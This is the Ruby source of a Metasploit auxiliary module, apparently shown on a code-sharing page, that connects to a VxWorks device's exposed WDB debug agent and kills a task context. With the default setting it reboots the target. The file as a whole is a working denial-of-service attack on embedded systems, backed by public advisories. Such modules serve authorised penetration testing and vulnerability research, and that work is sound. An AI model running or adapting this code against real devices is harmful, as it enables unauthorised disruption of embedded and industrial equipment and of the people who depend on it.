Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
class MetasploitModule < Msf::Auxiliary
7
  include Msf::Exploit::Remote::WDBRPC_Client
8
  include Msf::Auxiliary::Report
9
  include Msf::Auxiliary::Scanner
10

11
  def initialize(info = {})
12
    super(update_info(info,
13
      'Name'           => 'VxWorks WDB Agent Remote Reboot',
14
      'Description'    => %q{
15
        This module provides the ability to reboot a VxWorks target through WDBRPC
16
      },
17
      'Author'         => [ 'hdm'],
18
      'License'        => MSF_LICENSE,
19
      'References'     =>
20
        [
21
          ['OSVDB', '66842'],
22
          ['URL', 'https://www.rapid7.com/blog/post/2010/08/02/new-vxworks-vulnerabilities/'],
23
          ['US-CERT-VU', '362332']
24
        ],
25
      'Actions'     =>
26
        [
27
          ['Reboot', 'Description' => 'Reboot target']
28
        ],
29
      'DefaultAction' => 'Reboot'
30
      ))
31

32
    register_options(
33
      [
34
        OptInt.new('CONTEXT', [ true, "The context to terminate (0=system reboot)", 0 ])
35
      ])
36
  end
37

38
  def run_host(ip)
39

40
    wdbrpc_client_connect
41

42
    membase = @wdbrpc_info[:rt_membase]
43
    memsize = @wdbrpc_info[:rt_memsize]
44
    mtu     = @wdbrpc_info[:agent_mtu]
45
    ctx     = datastore['CONTEXT'].to_i
46

47
    print_status("#{ip} - Killing task context #{ctx}...")
48

49
    wdbrpc_client_context_kill( (ctx != 0) ? 3 : 0, ctx )
50

51
    print_status("#{ip} - Done")
52

53
    wdbrpc_client_disconnect
54
  end
55
end
56

57